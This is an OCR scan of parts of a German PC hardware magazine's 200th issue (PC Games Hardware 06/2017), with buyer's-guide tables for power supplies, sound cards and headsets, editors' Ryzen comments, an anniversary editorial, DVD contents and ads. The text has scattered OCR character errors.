** System: Intel Core 17-4790; Intel 87, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Themalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (АТХ), Umgebungstemperatur: 24 °C 
*** Neues Test- / Wertungssystem (siehe PCGH 02/2017) 
400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Be Quiet Dark Power Pro 11 550W | Ca. € 140,- | 4х 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Ca. € 150,- | 2 x 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 
Cooler Master V550 Са. € 100,- | 2x 6+2-Pin (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 | 09/2016 www.pcgh.de/preis/1325567 «Т ТТЛ 
EVGA G2 550W Ca. € 100,- | 2 x 6+2-Pin (65/78 cm) 550 Wa 0,1/0,1/0,6/0,6/0,7 Sone | 87/91/92/91/90 % 1,62 09/2016 | www.pcgh.de/preis/1297440 
Corsair RM550x Ca.€90,- | 2x 6+2-Ріп (58 cm) 550 Wa 0,1/0,1/0,1/0,1/0,2 Sone | 85/90/92/91/90 % 1,64 | 09/2016 | www.pcgh.de/preis/1331023 
XFX TS 550 Gold ca. € 70,- 1 x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 | 09/2016 | www.pcgh.de/preis/1076839 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Seasonic Prime Titanium 650W Са. € 180,- | 4 x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Са. € 140,- | 4 x 6+2-Pin (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 
Be quiet Straight Pow. 10 700W CM | Ca. € 120,- | 4x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 % 1,67 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung +12 V | Lautheit* Effizienz* Test in 
Corsair HX1000i Ca. € 220,- | 4 x 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Са. € 160,- | 4x 6+2-Pin (50 cm) 840 Watt 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Са. € 140,- | 2 x 2 6+2-Ріп (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 02/2015 | www.pcgh.de/preis/1083961 


* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate GE eye E o Besonderheiten u. a. Test in 

Creative Sound Blaster ZxR Ca.200,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB а, TPA6120A2 аа Gesockelte Op-Amps, Tischbox | 1,41 05/2015 | www.pcgh.de/preis/886468 

Asus Xonar Essence STX 2 7.1 | Ca. 230,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB а, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 

Asus Xonar Phoebus Ca. 140,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanále/Abtastrate GE E GE - Besonderheiten u. a. Test in 

Creative Sound Blaster X7 Са. 330,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB a, TPA6120A2 a/ja Ges.. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 

Creative Sound Blaster Omni | Ca. 60,- | Bis 5.1/24 Bit bei 96 KHz С54361/100 dB a, MAX97220A alja Integriertes Mikrofon 2,18 | 05/2015 | www.pcgh.de/preis/ 1003999 «Т ТЛ. 
Asus Xonar U5 Ca. 60,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, ТРЅ6130А2 ein/nein Mikr.-Lautstárkeregl. am Gerát 2,27 05/2015 | www.pcgh.de/preis/1150607 


Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 
Beyerdynamic MMX 300 | Ca. 300,- | Klinke Geschlossen, ohrumschließend | 280 Gramm | 32 Ohm Nein Teile wechselbar, handgefertigt 1,49 | 03/2017 | www.pcgh.de/preis/1557567 

Steelseries Siberia 800 Ca. 220,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 38 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 

Asus ROG Centurion Ca. 250,- | USB, Klinke Geschlossen, ohrumschließend | 470 Gramm | 60 Ohm Ja, 5.1 Tischbox mit vielen Funktionen 1,81 03/2017 | www.pcgh.de/preis/1562870 

Sennheiser GSP 350 Ca. 140,- | USB, Klinke Geschlossen, ohrumschließend | 275 Gramm | 32 Ohm Ja, virtuell | Mikrofon-/Lautstärkeregler integriert 1,84 03/2017 | www.pcgh.de/preis/1 543799 (TITI 
Kingston Hyper X Cloud 2 | Ca. 80,- | USB, Klinke Geschlossen, ohrumschließend | 320 Gramm | 32 Ohm Ja, virtuell | Kabelfernbedienung, Presets 1,94 | 08/2015 | www.pcgh.de/preis/1223096 

Lioncast LX50 Ca.60,- | Klinke Geschlossen, ohrumschließend | 260 Gramm | 50 Ohm Nein Kabelfernbedienung, extra Polster 1,94 03/2017 | www.pcgh.de/preis/1 560427 ТМ 
Corsair Void RGB Wireless | Ca. 110,- | Funk Geschlossen, ohrumschließend | 320 Gramm | 68 Ohm Ja, virtuell | Ordentliche Software 1,97 06/2016 | www.pcgh.de/preis/1307022 
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SERVICE | Teamseite 


Die Redaktion 


EE SEN BAYER 
Chefredakteur EE SEN tb@pcgh.de | Aufgabengebiete: Heft, Webseite, alles 


TER 


RAFFAE 


er Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Seit Wochen spiele ich Satellite Reign im Kampagnen-Koop - das 
macht irre viel Spaß und sollte von viel mehr Spielen angeboten werden. 


AMDs Ryzen ... muss man erst einmal sacken und vielleicht etwas reifen 
lassen, vor allem auf UEFI- und Windows-Seite. AMD ist auf jeden Fall zurück 
im Spiel und kann Intel unter Druck setzen. Ich bin auch auf die Vier- und 
Sechskerner und deren Preisgestaltung gespannt. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
Z170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 


£ 


Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Hmm, die GTX 1080 Ti ist verhältnismäßig bezahlbar und AMD 
kommt nicht aus dem Quark. Egal, ich warte auf die Radeon RX Vega. 


AMDs Ryzen ... finde ich klasse, vor allem den Spar-Achtkerner R7 1700. 
Ursprünglich wollte ich gleich zuschlagen, aber die Kinderkrankheiten während 
der Tests (siehe Special in dieser Ausgabe) bremsten mich. Jetzt warte ich auf 
ein reifes, energieeffizientes Board. Sommer: Neuer PC statt Urlaub? Beides! ;-) 


Privat-PC: i7-5820K © 2,5 GHz (0,78V), Asrock X99X Killer, 4 x 4 GiB DDR4, 


Asus GTX Titan X + Accelero Xtreme IV @ 1.450/4.196 MHz, LG DCI-4K-LCD 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


TV aktuell: Wenn Sie dies lesen, ist die neue Staffel Top Gear gerade ange- 
laufen. Zumindest für all jene, die privilegiert genug sind, das überhaupt legal 
schauen zu dürfen. #2017 #Globalisierung #Internetzeitalter 


AMDs Ryzen ... ist der Beweis dafür, dass acht Kerne nicht zwingend 1.000 
Euro und mehr kosten müssen. Es ist auch gut zu sehen, dass AMD Intel das Feld 
noch nicht komplett überlassen hat. Monokulturen sind nicht so meins. 


Privat-PC: Core i5-750, P7P55D Evo, Geforce GTX 470, 16 GiByte DDR3- 
1600, Audigy 2 ZS, 120-GByte-SSD, 24 Zoll FHD-LCD, Obsidian 800D 


MANUEL Eee] 


Redakteur Eee] mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Der zweite Xbox-Elite-Controller ist da und erzeugt wieder ein 
hochfrequentes Fiepen beim Vibrieren. Bei einem Premiumprodukt könnte man 
von Microsoft echt eine bessere Qualität erwarten. 


AMDs Ryzen ... wäre wohl ein gelungener Auftakt, wenn es denn einiger- 
maßen ausgereifte Mainboards gäbe. Die Basis scheint jedenfalls schon mal zu 
passen. Spannend werden für mich Zen 2 und Zen 3. 


Privat-PC: Core i7-4790K, Asus Z97-A, Corsair 16 GiB DDR3-1600, Radeon 
R9 390, Sandisk Ultra II 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Es wird weniger gezockt und mehr Videos geschnitten. Denn mit 
einer DJI Phantom 3 Pro kam letztens ein neues Spielzeug angeflogen. 


AMDs Ryzen ... hat einen gelungenen Start hingelegt, finde ich. Mal von 

der Leistung an sich und jeglichem Intel-Vergleich abgesehen, freut mich am 
meisten, dass überhaupt am Monopol gerüttelt wird. Ich bin auch gespannt, wie 
sich Raven Ridge auf den Notebook-Markt auswirkt. 


Privat-PC: Core i7-6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 
960M; Acer Aspire V Nitro Black Edition (VN7-592G-764X) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


£ 


PC aktuell: Der macht als Shooting-Station momentan wieder viele virtuelle 
Fotos. Außerdem hab ich mit Torment: Tides of Numenera angefangen. 


AMDs Ryzen ... ist generell überzeugend, bei der Spieleleistung sind die 
Ryzen-Achtkerner dann aber doch ein bisschen weniger flott als erhofft. Aller- 


dings dürften Octacores in Zukunft und bei modernen Spielen (z.B. BF1) deutlich 
besser ausgenutzt werden, damit könnte sich das Bild also noch etwas wandeln. 


Privat-PC: i7-5820K @ 4,2 GHz, 32 GiB DDR4, 1x 960 + 3x 512 GB SSDs, 
2x WD 3 TB, GTX 980 @ 1,4 GHz, SB ZxR, Asus STX Il, 27-Zoll-Freesync-LCD 


FRANK STÖWER 


Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeräte, Mauspads und G 


ehäuse 


PC aktuell: Radeon Relive gefällt mir immer besser. HEVC/h.265-Kodierung 
sollte sich auch Nvidia endlich mal für Shadowplay abschauen. 


AMDs Ryzen ... ist kein Wunder-Prozessor, aber eine sehr solide Basis für 
AMDs nähere Zukunft. Ich schaue mit Spannung auf die Quadcores — denn hier 
entfällt der (vemutete) Flaschenhals „Infinity Fabric” und im Gegensatz zum 
derzeitigen Hype halte ich die Ära der Vierkerner noch nicht für beendet. 


Privat-PC: i7-5775C (3,6 GHz), 16 GiB RAM (DDR3-1866), NVME/-M.2-SSD 
(128 GB), RX 480 (4+4G), 120Hz-LCD (24"), Mini-ITX-Gehäuse (11 Liter Vol.) 


PC aktuell: Nach einem Problem mit nerviger Adware musste ich mein System 
zurücksetzen. Wie gut, dass es HDClone gibt, damit geht es sehr schnell. 


AMDs Ryzen ... sollte eigentlich meinen FX-8350 in Rente schicken, doch 
die Tatsache, dass nur der Spar-Achtkerner R7 1700 in mein Budget passen 
würde, lásst mich noch etwas zógern. Bisher habe ich auch noch zu wenig 
Tests gesehen, um die Spieleleistung schon einschätzen zu können. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehäuse) 


Eee VOGEL 


Redakteur Eee tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware 


Handy aktuell: Da niemand mehr Mobiltelefone entwickelt, die bequem in 
die Hosentasche passen, habe ich meinem 12 Jahre alten (!) Dumbphone einen 
neuen Akku spendiert. Ergebnis: 7 Tage Ausdauer bis zum Nachladen. 


AMDs Ryzen ... ist, wie von mir erwartet, nicht die perfekte Spieler-CPU, wäre 
dank günstiger OC-Angebote aber dennoch interessant für mich — hätte ich 
nicht schon letztes Jahr auf den besser ausgestatteten Sockel 1151 gewechselt. 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 СІВ DDRA-2133, Asus GTX 780 Ti 
© 1.245/3.800 MHz; alles  Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


DANIEL WAADT 


£ 


Head of Affiliate & E-Commerce | dw@pcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PS4 aktuell: Nach drei Jahren Dauerbetrieb habe ich meine PS4 aufgemacht, 
gesäubert und neue Wärmeleitpaste draufgepackt. Jetzt schnurrt sie selbst 
unter Volllast leise vor sich hin. 


AMDs Ryzen ... has risen und den Platzhirsch Intel mächtig zum Zittern 
gebracht. Dennoch werde ich frühestens im Sommer über einen Kauf nach- 
denken, Kinderkrankheiten haben den Hypetrain für mich etwas ausgebremst. 


Privat-PC: Intel Core i5-3450, 8 GiByte DDR-RAM, AMD Radeon HD 7700 
OC, P8B75-MLX (uATX) 


STEPHAN WILKE 


Community Content Commerce Manager | swGpcgh.de | Fachbereiche: OC, RAM, PCGH-Extreme-Forum 


PC aktuell: Nach vielen Stunden Bastelarbeit ist mein neuer PC fertiggestellt 
(siehe unten). Für mich persönlich setzt dieser PC neue Silent-Maßstäbe, denn 
ein passiv gekühltes Seasonic-Netzteil, eine Asus GTX 1050 Ti Strix mit deakti- 
vierten Lüftern unter 2D und die Noiseblocker Eloop-Lüfter sorgen für Stille. 


AMDs Ryzen ... ist leider nichts für mich, da ich gerade mit einer Kaby- 
Lake-CPU aufgerüstet habe. Aber toll, dass AMD wieder zurück ist! 


Privat-PC: Core i7-7700K, 16 GiB DDRA, Asus 7170 Pro Gaming, Asus GTX 
1050 Ti Strix, Samsung 960 Pro 512-GB-SSD, Seasonic-PSU (lüfterlos) 
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PC aktuell: Mit dem Asus Swift PG27UQ kommt der erste Ultra-HD-Monitor 
mit 144 Hz, Full-HD-Modelle stemmen 240 Hz - ist 2017 Zeit für ein Upgrade? 


AMDs Ryzen ... ist in Spielen trotz der beachtlichen Verbesserung nicht ganz 
so gut, wie es sich wohl manche (übereifrige Vorbesteller?) erhofft hatten. Bei 
der Anwendungsleistung und Energieeffizienz ist AMD angesichts der Preise 
allerdings stark. Das kónnte über den Server-Markt Geld in die Kasse spülen. 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDR4, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, P27T-6 IPS 
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Radeon RX 500 & Ryzen R5 


Zu Ostern stehen die Radeon-RX-500-Serie und Ryzen-Prozessoren mit sechs sowie vier 
Kernen an. PCGH prüft die Neulinge auf Herz und Nieren - inklusive neuer AM4-Main- 
boards und flinkem DDR4-RAM. 
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inklusive. 
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Weitere Themen (u. a.) 


I Tests: Günstige Notebooks, 2.0-/2.1-Systeme, GTX 1060 mit 9 Gbps 
I Praxis: Silent-PC, Grafik-Effekte erklärt (Teil 3) 
I Info: Die neue Generation Onboard-Sound 


Vollversion 
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Das Schwarze Auge 


Die náchste PC Games Hard- 
ware erscheint am 3. Mai 2017. 
Abonnenten bekommen das 
Heft üblicherweise 
einen bis drei Tage früher. 
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verschiebungen auf Herstellerseite kann es zu außerplanmäßigen 
Änderungen kommen. 
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In der ersten Ausbaustufe erlaubt das 
PCGH-Online-Abo, dass Sie PCGH.de und 
das Extreme-Forum frei von externen 
Werbemitteln nutzen können. Das gilt für 
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von PC Games Hardware besitzt, bekommt 
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PURE BASE 600 


Ein außergewöhnliches, besonders vielseitiges und hochwertiges Gehäuse und 
das auch noch zu einem äußerst attraktiven Preis? Das be quiet! Pure Base 
600 Window setzt mit einer Menge Funktionalität und bedienungsfreundlichen 
Features neue Maßstäbe in Bezug auf Flexibilität, Performance und - 
natürlich — den flüsterleisen Betrieb. 


1 Hoch flexible Konstruktion 
= Wasserkühlungsoptimiert 
= Zwei vorinstallierte Pure Wings 2 Lüfter 
1 Seitenfenster aus getóntem Temperglas 


Für mehr Informationen besuchen Sie bequiet.com. 


Erháltlich bei: alternate.de - arlt.de - bora-computer.de - caseking.de 
computeruniverse.net - conrad.de · hiq24.de - e-tec.at · galaxus.ch - mindfactory.de 
notebooksbilliger.de · reichelt.de 
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Samsung SƏSHGSO 
24,5" Gaming Monitor 


gut beraten. 


* Superschnelle Reaktionszeit 
* Flüssige Spielabläufe dank AMD Freesync 


e Perfektes Gaming dank 144HZ Panel 
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Editorial | SERVICE 


Sie lesen hier gerade die... (Trom- 
melwirbel)... 200ste Ausgabe! 


„Bleibt alles anders": Im Oktober 2000 erschien mit der 11/2000 die Erstausgabe von PC Games  : 
Hardware - heute halten Sie mit der 06/2017 bereits die 200ste PCGH-Ausgabe in Ihren Hän- : facebook 


den. Niemand hàtte damals erwartet, dass das Thema ,Spiele-Hardware“ einen solch langen 


Atem hat. „Die beiden Themengebiete Hardware und Spiele leicht verständlich und praxisnah | PCGH-Fan werden auf: 
miteinander in einer Zeitschrift zu verknüpfen, das ist unser erklärtes Ziel“, schrieb ich im Edi- : www.facebook.com! 
torial der 11/2000. Und das stimmt auch heute noch, auch wenn sich in den rund 16,5 Jahren : pcgameshardware 


doch einiges verändert hat. Mit einem nostalgischen Schmunzeln blättere ich die Erstausgabe 
durch. Da gibt es noch die D-Mark, 3dfx ist noch nicht bankrott (aber bald), AGP, CRT und 
Front-Side-Bus sind noch aktuell und analoges Surfen über ISDN (oder mobil über WAP) so- 
wieso. Doch nicht alles ist heute anders - es „bleibt alles anders“, um es mit den Worten von 


Thilo Bayer 
Chefredakteur Herbert Grónemeyer zu sagen. Es gibt trotz aller Unkenrufe immer noch externe Soundkarten, 
PC Games Hardware die in der 11/2000 vorgestellte Unreal-Engine gedeiht immer noch prächtig, optische Mäuse 


(damals Standard) sind auch wieder schwer angesagt, Counter-Strike wird immer noch gespielt 
(wenn auch in Form von CS: GO) und überhaupt ist die Wahl der „richtigen“ Grafikkarte bzw. des „richtigen“ Prozessors 
oder Mainboards immer noch das Thema schlechthin. 


yi — | - : | : Hårdare Җый : 
ie gestaltet man nun eine „würdige“ 2005ге Ausgabe? Ich habe mir viele Gedanken darüber gemacht und verschiedene : 


Optionen abgewogen. Letztendlich fand ich es nach den Erfahrungen mit der PCGH 11/2015, der Ausgabe zum 15-jähri- d Die beste d 
gen Jubiläum, nicht sinnvoll, erneut in langen Seitenstrecken auf die vergangenen Ausgaben zurückzublicken. Retro ist £ "EP e 
bei PC Games Hardware ja sowieso ständiges Thema. Aber damit die Ausgabe 200 nicht einfach nur irgendeine Nummer : 

ohne Bedeutung ist, gibt es für Magazin- und DVD-Plus-Käufer einige Besonderheiten. So findet sich in der Vollauflage | wa - 

der PCGH 06/2017 ein aufwendiges DIN-A1-Poster zu 22 Jahren 3D-Beschleunigung. Auf dem Datenträger gibt es darü- : CS а F 


ber hinaus gleich zwei Spiele-Vollversionen. Und für alle Heftleser gibt es interessante Angebote in Form eines Jubiläums- 
PCs und besonderer Abo-Optionen. Und für alle, die ein Gewinnspiel vermissen: Im August 2017 feiert auch das Extreme- : 
Forum ein besonderes Jubiläum. Halten Sie am besten die Augen auf unserer Webseite offen. Sie möchten der Redaktion ; E 
etwas Besonderes zur Ausgabe 200 wünschen? Schicken Sie mir doch eine E-Mail an tb@pcgh.de. i 


www.pcgh.de/sohe 


Viel Spaß mit der Ausgabe Nummer 200 wünscht Ihr 
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Alexandros findet heraus, dass das Windows 10 Creator's Update mehr : 
Spielerechner. 


zu bieten hat als bunte Designs und Malprogramme für kreative Köpfe. 


Die Redaktion 
im April 2017 


Manuel darf — +++ Phil gibt einen Überblick über die aktuelle Generation von On- 
nicht nur erstmalig 


eine Helium-Fest- board-Soundchips und erklärt die Rendertechniken Physically Based 
platte unter die Rendering und Tessellation +++ Carsten scheucht AMDs neuen Ry- 
Lupe nehmen. Er zen R5-1600X und R5-1500X durch den CPU-Benchmark-Parcours +++ 
testet auch gleich Raff ordert die RX 580 und RX 570 sowie Custom-Modelle der GTX 1080 Ti ins Test- 


noch kompatible 
NAS-Systeme. 


labor +++ Stephan demonstriert, wie man einen PC besonders leise macht +++ 
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Radeon RX 580 & 570 


AMD spendiert Polaris eine Frischzellenkur. Das 


Ergebnis: die RX 580 und RX 570, die in der Mittel- 
und Einsteigerklasse um die Spielergunst buhlen. 


PCGH ermittelt, ob die GPUs ihr Geld wert sind. 
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TEAMPLAYER 


2007 konnte kaum jemand vorhersehen, dass sich ein kleines Hamburger Studio im hart umkämpften Gaming- 
Markt bewähren würde und mit in Deutschland designten Produkten weltweit erfolgreich sein würde. Doch 
heute stehen wir - Die Community der PC Games Hardware und das ROCCAT-Team - hier zusammen und 
feiern zehn Jahre später unseren gemeinsamen Erfolg. 


Wir bedanken uns mit diesem Code, der Euch 10% Rabatt auf Euren 
nächsten Einkauf im ROCCAT-Shop gewährt. 


LÖSE DEN CODE IM WARENKORB 
UNTER PROMO-CODE EIN: 
WWW.ROCCAT-SHOP.ORG 


G. АЛШ a о 
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SET THE RULES. DER CODE IST BIS ZUM 31.07.2017 GULTIG WWW.ROCCAT.ORG 


u SERVICE | DVD-Highlights 


Heft-DVD 


Videos, Spiele, Anwendungen - unsere Heft-DVD ist wie immer mit nützlichen, informativen und 


auch spaßigen Inhalten gefüllt. Wir stellen Ihnen das Beste des Silberlings vor. 


Features: 


gegner. 
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Jubiläums-Vollv 


Zwei Vollversionen 
® Das Schwarze Auge: Memoria 
® Pixel Heroes — Byte & Magic 


Video aus der PCGH-Redaktion 
29 PCGH-Retrospektive 02/2009 


Begleitmaterial 


3» Herstellerdesigns der GTX 1080 Ti & Sapphire RX 580 Nitro+ Ltd. 


Tools 


® GPU-Z 1.18.0, MSI Afterburner 4.3.0, Nvidia Inspector 1.9.7.8, PCGH- 
VGA-Tool 1.0.1, Radeon Pro 1.1.1.0, Sapphire Trixx 6.3.0 


JP AS-SSD Benchmark 1.9.5986, Cinebench R15, Fraps 3.5.99, Prime 95 


28.10, Super Pi 1.9 


® Core Temp 1.6, CPU-Z 1.78, HD-Tune 2.55 und 5.60 Trial, Speedfan 


4.52, Sysinternals Suite (02/2017) 


Betreten Sie die Welt von PIXEL HEROES und machen 
Sie sich bereit für ein aufregendes Rollenspiel/Rogue- 
like-Abenteuer, wie Sie es noch nie zuvor gesehen haben. 
Erkunden Sie eine Welt voll urkomischer Ereignisse, 100- 
licher Dungeons und den wahrscheinlich verrücktesten 
Gestalten, denen Sie je in einem Spiel begegnen werden. 


Wählen Sie drei Helden für Ihr Team und schicken Sie sie 
auf eine Reise, die bei jedem Spiel komplett unterschied- 
lich verlaufen wird. Baden Sie in einem Meer aus zufällig 
generierter Beute und besiegen Sie die dàmonischen 
Kräfte, welche die Stadt Pixton bedrohen. 


130 einzigartige Heldenklassen zum Freischalten. Jede mit ihren eigenen Fähigkeiten 
und Eigenschaften. 

1 Mehr zufällig generierte Äxte, Speere, Streitkolben, Schwerter, Schilde, Bögen, 
Armbrüste und Zaubersprüche als ein Lama Haare am Körper hat. 

1 13 mystische und schaurig-schöne Dungeons zum Erkunden. Jeder mit einem 
epischen Bosskampf am Ende. 

13 freischaltbare Kampagnen, jede mit einem eigenen finalen Dungeon und End- 


I Permadeath! (Sie wissen, dass Sie das wollen!) 

I Ein detaillierter Friedhof, auf dem Sie Ihre gefallenen Helden betrauern können. 
Vergleichen Sie ihre Werte und sehen Sie nach, welche Ihrer Entscheidungen zu 
deren tragischem Tod geführt hat. 

1 Komplett durchgeknallte Nichtspieler-Charaktere, jeder mit einer eigenen Geschich- 
te, durch die Sie cooles Zeug freischalten können. 

I Tonnen von zufälligen Ereignissen, denen Sie auf Ihren Wegen begegnen und die 
wichtige Entscheidungen von Ihnen verlangen. Werden Sie wie verrückt eine Katze 


ersion: Pixel Heroes — Byte & Magic 


I Viele Errungenschaften warten auf Freischaltung. Versuchen Sie sie alle zu bekom- 


men und der größte Pixel Hero aller Zeiten zu werden! 


Systemvoraussetzungen: 
Windows XP oder höher, Pentium 4/Athlon 64 oder neuer, 128 MiByte RAM, Grafik- 
karte mit Shader Model 2, 78 MiByte HDD-Platz. 


ARaaalter! Das ist voll lässig von euch! Ich gebe euch 


eine kleine Koztprobe von meinem Tabak, wenn ihr 
mit dem Beutel zurück seid, versprochen! 
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Die DVD läuft nicht? Kein Problem! Schicken Sie eine E-Mail mit Ihrer genauen Anschrift (Name, Straße, PLZ, Wohnort) und der Ausgabennummer (z. B. Ausgabe 06/2017) 


unter dem Betreff „PC Games Hardware: DVD-Reklamation" an computec@dpv.de. 


DVD-Highlights | SERVICE 


DSA: Memoria 


Bitte beachten Sie, dass wir im Heft u. a. aus lizenzrechtlichen Gründen keinen direkten Installationsschlüssel mehr abdrucken! 
Diesen erhalten Sie, indem Sie den Key auf der Codekarte (S. 66/67) auf www.pcgh.de/codes einlösen. 


Klassisches Point&Click-Adventure-Gameplay 

Fortsetzung von DSA: Satinavs Ketten (Vollversion der PCGH 01/17) 
Vorkenntnisse aus dem Vorgànger nicht zwingend notwendig 
Spannende Story auf zwei Zeitebenen 

Basiert auf der Welt des Pen&Paper-Rollenspiels Das Schwarze Auge 
Zwei spielbare Charaktere aus verschiedenen Epochen 

Komplette, professionelle Synchronisierung 

Viele stimmig in die Welt eingepasste Ràtsel 

Mehr als 100 handgezeichnete Hintergründe 

Atmosphärischer, umfangreicher Soundtrack 


Zwei Handlungen, zwei Helden, ein großes Abenteuer: Memoria schickt 
Sie mit Prinzessin Sadja und Vogelfänger Geron auf eine Zeitreise durch 
das malerische Aventurien, die Welt von Das Schwarze Auge. Klassische 
Point&Click-Abenteuer-Rätsel bekommen hier einen einzigartigen Touch 
durch magische Fähigkeiten und einen weisen, sprechenden Zauberstab. 
Über acht Kapitel übernehmen Sie die Kontrolle über die Schicksale von 


Sadja und Geron über einen Zeitraum von 500 Jahren. DSA: Memoria ver- 
fügt über beeindruckende Grafik, epische Schauplätze, eine packende Fan- 
tasy-Crime-Story und liebevolles Puzzle-Design. 


Ersteinrichtung: 

Für die Installation ist eine aktive Online-Verbindung und ein kostenloser 
Steam-Account nötig. Wenn Sie den Client von der Heft-DVD aufrufen, 
startet Steam automatisch und fordert Sie auf, den Installationsschlüssel 
einzugeben. Diesen erhalten Sie, indem Sie den Code der Codekarte (S. 
66/67) auf www.pcgh.de/codes eintauschen. Danach startet die Instal- 
lation von der DVD — wahlweise können Sie Ihren Key auch direkt über 
Steam eingeben, müssen dann jedoch das komplette Spiel herunterladen. 


Systemvoraussetzungen minimal (gleichzeitig empfohlen): Betriebssystem: 
Windows Vista oder neuer, CPU: 2,5 GHz Single- oder 2,0 GHz Dualcore, RAM: 2,5 GiByte, 
Grafik: 512 MiByte, kompatibel zu Open GL 2.0 (IGP mit Shared Memory zwar nicht 
empfohlen — Pentium G4560-IGP lief im Test problemlos) HDD/SSD-Speicher: 10 GByte. 


Die Haupthandlung rund um Vogelfänger 
Geron spielt in der aventurischen Gegenwart. 


In der Vergangenheit 
lotsen Sie Prinzessin 
Sadja zur Schlacht in 


www.pcgameshardware.de 


Ein zentrales Element ist die Elementenfeste 
Drakonia, die Sie im Spielverlauf besuchen. 
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Hardware 


POGH-Fan-PC 


Limited Edition 


Schneller 
Gaming-PC mit 
hochwertigen Ba- 
sis-Komponenten 
und einem Preis- 
vorteil von 100 
Euro gesucht? 


= 
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ur 200. Ausgabe der PC Games Hardware gibt 
Z diesen limitierten PCGH-Fan-PC mit einem 
ordentlichen Preisvorteil. 
wenden wir bei diesem Rechner trotz des günsti- 
gen Preises hochwertige PCGH-Komponenten wie 
das Fractal-Design-R5-PCGH-Gehàuse oder das 
Seasonic-PCGH-Netzteil mit 550 Watt. Da darf na- 
türlich auch der PCGH-Kühler Brocken 2 von EKL 
nicht fehlen, der den Intel Core i5-7600K kühlt. Kei- 
ne Wünsche offen lässt auch das hochwertige Asus- 
Mainboard Strix Z270F Gaming. Bei der Grafikkarte 


Als Besonderheit ver- 


Hardware 


ubiläumsangebot 


haben wir uns für den Preis-Leistungs-Tipp von Asus 
entschieden und verwenden die GTX 1060 Dual OC 
mit 6 Gigabyte Speicher. Zu den restlichen Eckdaten 
gehören u. a. 16 GB DDR4-2400, eine 275-GB-SSD 
von Crucial sowie eine 2.000-GB-HDD von Seagate. 
Silent-Fans kommen auch auf ihre Kosten, denn 
je nach Last messen wir nur zwischen 0,3 bis 0,7 
Sone. Energieeffizient ist der PC ebenfalls und ver- 
